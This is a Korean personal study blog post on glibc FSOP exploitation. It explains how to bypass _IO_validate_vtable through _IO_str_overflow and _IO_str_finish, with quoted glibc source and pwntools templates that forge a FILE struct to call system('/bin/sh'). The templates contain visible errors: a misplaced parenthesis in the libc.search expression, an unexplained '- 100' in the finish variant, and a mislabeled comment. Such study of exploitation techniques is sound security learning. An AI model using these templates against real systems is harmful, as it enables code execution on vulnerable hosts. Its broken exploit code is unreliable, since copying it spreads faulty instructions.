본문 바로가기

FSOP - vtables, bypass _IO_validate_vtable

@eouya22025. 8. 27. 18:30

이번 포스팅은 vtable의 종류와 _IO_vatlidate_vtable의 검증 과정을 우회하는 방법 중 glibc 2.29 이전 버전에서 사용 가능한 _IO_str_overflow, _IO_str_finish를 이용한 우회 익스플로잇 방법에 대한 것이다.

_IO_str_jumps (vtable 구조)

const struct _IO_jump_t _IO_str_jumps libio_vtable =
{
  JUMP_INIT_DUMMY,
  JUMP_INIT(finish, _IO_str_finish), // fclose()
  JUMP_INIT(overflow, _IO_str_overflow),
  JUMP_INIT(underflow, _IO_str_underflow),
  JUMP_INIT(uflow, _IO_default_uflow),
  JUMP_INIT(pbackfail, _IO_str_pbackfail),
  JUMP_INIT(xsputn, _IO_default_xsputn), // fwrite()
  JUMP_INIT(xsgetn, _IO_default_xsgetn), // fread()
  JUMP_INIT(seekoff, _IO_str_seekoff),
  JUMP_INIT(seekpos, _IO_default_seekpos),
  JUMP_INIT(setbuf, _IO_default_setbuf),
  JUMP_INIT(sync, _IO_default_sync),
  JUMP_INIT(doallocate, _IO_default_doallocate),
  JUMP_INIT(read, _IO_default_read),
  JUMP_INIT(write, _IO_default_write),
  JUMP_INIT(seek, _IO_default_seek),
  JUMP_INIT(close, _IO_default_close),
  JUMP_INIT(stat, _IO_default_stat),
  JUMP_INIT(showmanyc, _IO_default_showmanyc),
  JUMP_INIT(imbue, _IO_default_imbue)
};

gdb로도 확인이 가능하다.

how2exploit?

입출력, 파일 관련 함수를 사용하면 IO_FILE 구조체 안의 vtable을 참조하게 된다.
각 함수별로 참조하는 vtable 내에서의 경로가 정해져 있다. 이를 vtable이 주어지면 offset으로 참조하게 되는데, 그점을 이용해 원하는 경로를 참조할 수 있게 된다. 만약 조작된 vtable 경로에 취약점이 존재한다면, 또한 그에 맞게 file struct를 잘 조작한다면 공략이 가능해진다.

예를들어 IO_str_overflow나 IO_str_finish 같은 함수들이 있다.
해당 함수들은 인자 1개를 가진 함수이기 때문에 조작이 가능하다면 쉘을 실행시키는게 가능하다.
또 분석해서 2~ 3개의 인자가 필요한 함수를 호출할 경우 그에 맞는 함수를 또 호출하여 leak이나 변조도 가능하다.

IO_list_all은 libio내부 전역변수로, 모든 열린 FILE 객체들의 연결리스트의 헤드포인터이다.

glibc의 FILE구조체(struct _IO_FILE_plus) 는 _chain이라는 포인터 필드를 갖고 있다. 해당 필드를 통해 FILE 구조체들은 단방향 연결리스트를 이루는데, 이 전역변수 IO_list_all이 이 리스트의 첫 스트림을 가리킨다(stdout같은 기본 스트림).

_IO_validate_vtable()

glibc 2.24버전 이상에서 적용된 IO_validate_vtable()함수로 인해 vtable의 주소가 실제 vtable 영역에 속하는지 검증하는 과정이 존재한다. 때문에 우리는 대부분의 바이너리에서 해당 함수를 우회해야 한다.

기존에는 vtable 위치에 호출하는 함수가 참조하는 offset에 따라 예를들어 system addr - offset 과 같이 삽입하여 익스가 가능해 졌으나 2.24버전 이후 vtable 영역에 속한 테이블로 우회를 진행해야한다.

vtable 종류

  1. IO_file_jumps
  • 가장 기본적인 vtable이다. 보통 fopen(), fwrite(), fread(), fprintf() 등은 여기로 들어온다.
  • 주요 함수 : IO_file_overflow, IO_file_underflow, IO_file_xsputn, IO_file_xsgetn 등
  • 익스 예시 : IO_file_jumps + offset으로 특정 함수를 직접 트리거(IO_file_overflow 등)
  1. IO_wfile_jumps
  • wide-oriented(와이드 스트림 용) vtable이다. fputwc 같은 입출력 함수가 여기로 들어온다.
  • 주요 함수 : IO_wfile_overflow, IO_wfile_underflow, IO_wfile_seekoff 등
  • __wide_data 필드에 연결 되므로, fake __IO_wide_data 구조체를 만들고 vtable을 변조해서 진입 가능
  • 익스 예시 : fp→__wide_data→_wide_vtable→_IO_wfile_jumps-offset과 같은 식으로 변조, IO_wdoallocbuf→_IO_WDOALLOCATE→call system
  1. IO_str_jumps
  • fmemopen 같은 메모리 스트림에 사용된다.
  • 주요 함수 : IO_str_overflow, IO_str_underflow, IO_str_finish
  • 보통 heap-based fake FILE struct + IO_str_jumps..
  • house of apple2, house of banana 등에서 활용된다.
  1. IO_cookie_jumps
  • cookie 기반 스트림에서 사용된다.
  • 함수 포인터 테이블이 직접 사용자 제공 함수로 연결된다.
  • 트리거 하기 위해서는 cookie_io_function_t 구조체를 세팅할 필요가 있다.

validate_vtable 여러가지 우회

호출하는 함수가 vtable + 0x10의 경로를 참조한다고 하자.

IO_str_overflow 이용(IO_str_jumps 내)

vtable 영역에 IO_str_overflow()의 주소가 담긴 주소 - 0x10의 값을 넣어줘야 한다.

IO_str_overflow는 IO_str_jumps vtable 내부에 존재하며, IO_file_jumps + 0xd8 위치에 존재한다.
아 참고로 덤프를 떠보면 많은 vtable들이 libc내에 인접해 위치하는 것을 볼 수 있다.

int
_IO_str_overflow (_IO_FILE *fp, int c)
{
  int flush_only = c == EOF;
  _IO_size_t pos;
  if (fp->_flags & _IO_NO_WRITES)
      return flush_only ? 0 : EOF;
  if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING))
    {
      fp->_flags |= _IO_CURRENTLY_PUTTING;
      fp->_IO_write_ptr = fp->_IO_read_ptr;
      fp->_IO_read_ptr = fp->_IO_read_end;
    }
  pos = fp->_IO_write_ptr - fp->_IO_write_base;
  if (pos >= (_IO_size_t) (_IO_blen (fp) + flush_only))
    {
      if (fp->_flags & _IO_USER_BUF) /* not allowed to enlarge */
    return EOF;
      else
    {
      char *new_buf;
      char *old_buf = fp->_IO_buf_base;
      size_t old_blen = _IO_blen (fp);
      _IO_size_t new_size = 2 * old_blen + 100;
      if (new_size < old_blen)
        return EOF;
      new_buf
        = (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size);
      if (new_buf == NULL)
        {
          /*      __ferror(fp) = 1; */
          return EOF;
        }
      if (old_buf)
        {
          memcpy (new_buf, old_buf, old_blen);
          (*((_IO_strfile *) fp)->_s._free_buffer) (old_buf);
          /* Make sure _IO_setb won't try to delete _IO_buf_base. */
          fp->_IO_buf_base = NULL;
        }
      memset (new_buf + old_blen, '\0', new_size - old_blen);

      _IO_setb (fp, new_buf, new_buf + new_size, 1);
      fp->_IO_read_base = new_buf + (fp->_IO_read_base - old_buf);
      fp->_IO_read_ptr = new_buf + (fp->_IO_read_ptr - old_buf);
      fp->_IO_read_end = new_buf + (fp->_IO_read_end - old_buf);
      fp->_IO_write_ptr = new_buf + (fp->_IO_write_ptr - old_buf);

      fp->_IO_write_base = new_buf;
      fp->_IO_write_end = fp->_IO_buf_end;
    }
    }

  if (!flush_only)
    *fp->_IO_write_ptr++ = (unsigned char) c;
  if (fp->_IO_write_ptr > fp->_IO_read_end)
    fp->_IO_read_end = fp->_IO_write_ptr;
  return c;
}

IO_str_overflow의 소스코드이다.

  • NO_WRITES, USER_BUF flags == 0
  • IO_write_ptr - IO_write-base ≥ IO_blen(IO_buf_end - IO_buf_base) + flush_only(0 or 1)
  • new_size(IO_blen*2 + 100) ≥ IO_blen → IO_buf_end - IO_buf_base ≥ -100
  • 위 조건들을 만족하게되면 s.allocate_buffer(new_size)를 호출하게 되는데, s.allocate_buffer()함수는 vtable + 8의 위치를 참조하므로 vtable + 8의 위치를 참조하므로 해당 주소를 원가젯으로 덮거나, system함수로 덮는다면 new_size(IO_blen*2 + 100)에 “/bin/sh” 문자열의 주소를 넣는다면 쉘을 실행시킬 수 있다.

템플릿을 이용한다면 다음과 같이 넣을 수 있겠다.

def FSOP_struct(flags=0, _IO_read_ptr=0, _IO_read_end=0, _IO_read_base=0,
                _IO_write_base=0, _IO_write_ptr=0, _IO_write_end=0, _IO_buf_base=0, _IO_buf_end=0,
                _IO_save_base=0, _IO_backup_base=0, _IO_save_end=0, _markers=0, _chain=0, _fileno=0,
                _flags2=0, _old_offset=0, _cur_column=0, _vtable_offset=0, _shortbuf=0, lock=0,
                _offset=0, _codecvt=0, _wide_data=0, _freeres_list=0, _freeres_buf=0,
                __pad5=0, _mode=0, _unused2=b"", vtable=0, more_append=b""):

    FSOP = p64(flags) + p64(_IO_read_ptr) + p64(_IO_read_end) + p64(_IO_read_base)
    FSOP += p64(_IO_write_base) + p64(_IO_write_ptr) + p64(_IO_write_end)
    FSOP += p64(_IO_buf_base) + p64(_IO_buf_end) + p64(_IO_save_base) + p64(_IO_backup_base) + p64(_IO_save_end)
    FSOP += p64(_markers) + p64(_chain) + p32(_fileno) + p32(_flags2)
    FSOP += p64(_old_offset) + p16(_cur_column) + p8(_vtable_offset) + p8(_shortbuf) + p32(0x0)
    FSOP += p64(lock) + p64(_offset) + p64(_codecvt) + p64(_wide_data) + p64(_freeres_list) + p64(_freeres_buf)
    FSOP += p64(__pad5) + p32(_mode)
    if _unused2 == b"":
        FSOP += b"\x00" * 0x14
    else:
        FSOP += _unused2[0x0:0x14].ljust(0x14, b"\x00")

    FSOP += p64(vtable)
    FSOP += more_append
    return FSOP


FSOP = FSOP_struct(
    flags=0xfbad0000,
    lock=bss+0x300, # writable area
    vtable=libc.sym['_IO_file_jumps']+0xd8 - 0x10, #_IO_str_overflow - 0x10
    _IO_write_ptr = 0xffffffff,
    _IO_write_base = 0,
    _IO_buf_end = (next(libc.search(b'/bin/sh\x00') - 100) // 2,
    _IO_buf_base = 0,
        _mode = 0,
        more_append = libc.sym['system'] #_s.allocate_buffer
)

참고) _mode 필드의 경우 vtable 계열에 따라서 달라지는데, 잘은 모르지만 초기에는 -1, IO_file_jumps 계열이면 0, IO_wfile_jumps 계열(wide 스트림)이면 0이상의 수를 사용한다고 한다.

IO_str_finish 이용(IO_str_jumps 내)

vtable 에는 IO_str_finish - 0x10을 넣어줘야 한다.

void _IO_str_finish (_IO_FILE *fp, int dummy)
{
  if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF))
    (((_IO_strfile *) fp)->_s._free_buffer) (fp->_IO_buf_base);
  fp->_IO_buf_base = NULL;

  _IO_default_finish (fp, 0);
}

IO_str_finish의 코드이다.

  • IO_buf_base && !(__flags & __IO_USER_BUF) == TRUE
  • 위 조건이 참이어야 하는데, flags에 0을 넣으면 !0 == 1이 되고, IO_buf_base에 값을 넣으면 조건을 통과할 수 있다. 조건을 통과하면 s._free_buffer(IO_buf_base)를 호출하는데, s._free_buffer()는 vtable + 0x10위치의 주소를 참조하므로 해당 위치에 원가젯을 넣거나, system함수를 사용한다면 IO_buf_base에 “/bin/sh”문자열의 주소를 넣는다면 쉘이 실행될 것이다.

IO_str_finish는 IO_file_jumps + 0xd0에 위치한다.

마찬가지로 템플릿으로 정리하면 아래와 같다.

def FSOP_struct(flags=0, _IO_read_ptr=0, _IO_read_end=0, _IO_read_base=0,
                _IO_write_base=0, _IO_write_ptr=0, _IO_write_end=0, _IO_buf_base=0, _IO_buf_end=0,
                _IO_save_base=0, _IO_backup_base=0, _IO_save_end=0, _markers=0, _chain=0, _fileno=0,
                _flags2=0, _old_offset=0, _cur_column=0, _vtable_offset=0, _shortbuf=0, lock=0,
                _offset=0, _codecvt=0, _wide_data=0, _freeres_list=0, _freeres_buf=0,
                __pad5=0, _mode=0, _unused2=b"", vtable=0, more_append=b""):

    FSOP = p64(flags) + p64(_IO_read_ptr) + p64(_IO_read_end) + p64(_IO_read_base)
    FSOP += p64(_IO_write_base) + p64(_IO_write_ptr) + p64(_IO_write_end)
    FSOP += p64(_IO_buf_base) + p64(_IO_buf_end) + p64(_IO_save_base) + p64(_IO_backup_base) + p64(_IO_save_end)
    FSOP += p64(_markers) + p64(_chain) + p32(_fileno) + p32(_flags2)
    FSOP += p64(_old_offset) + p16(_cur_column) + p8(_vtable_offset) + p8(_shortbuf) + p32(0x0)
    FSOP += p64(lock) + p64(_offset) + p64(_codecvt) + p64(_wide_data) + p64(_freeres_list) + p64(_freeres_buf)
    FSOP += p64(__pad5) + p32(_mode)
    if _unused2 == b"":
        FSOP += b"\x00" * 0x14
    else:
        FSOP += _unused2[0x0:0x14].ljust(0x14, b"\x00")

    FSOP += p64(vtable)
    FSOP += more_append
    return FSOP


FSOP = FSOP_struct(
    lock=bss+0x300, # writable area
    vtable=libc.sym['_IO_file_jumps']+0xd0 - 0x10, #_IO_str_overflow - 0x10
    _IO_buf_base = (next(libc.search(b'/bin/sh\x00') - 100),
        _mode = 0,
        more_append = p64(0) + p64(libc.sym['system']) #_s._free_buffer
)

위 두가지 방법에서 이용하는 s.allocate_buffer와 s._free_buffer 함수는 IO_strfile 구조체로 캐스팅 되어있는데, 해당 구조체는 다음과 같다.

typedef struct _IO_strfile_
{
  struct _IO_streambuf _sbf;
  struct _IO_str_fields _s;
} _IO_strfile; 

이 안에서 IO_str_fields를 보면 위에서 사용한 두 함수가 존재하는 것을 볼 수 있다.

struct _IO_str_fields
{
  _IO_alloc_type _allocate_buffer;
  _IO_free_type _free_buffer;
};

IO_FILE_plus가 IO_FILE - vtable - IO_str_fields와 같은 구조를 가지기 때문에 vtable + 0x8, 0x10위치의 함수를 참조하는 것이다.

 

Reference :

https://dig06161.github.io/2023/03/15/dreamhack-iofile_vtable_check/

 

[Dreamhack] PWN iofile_vtable_check

드림핵 포너블 iofile_vtable_check 문제풀이

dig06161.github.io

https://wyv3rn.tistory.com/114

 

Bypass IO_validate_vtable

그냥 대충 훑어보면 절대 이해 못한다. 자세히 읽어보고 이해가 되면 넘어가자. 원리 _IO_FILE 구조체에서는 vtable을 참조하는데, vtable 내 함수를 조작할 수 있다면 임의의 함수를 실행할 수 있다. *

wyv3rn.tistory.com

 

eouya2
@eouya2 :: eouya2

개인공부 기록 / 틀린거 있으면 돌팔매질 부탁드립니다

목차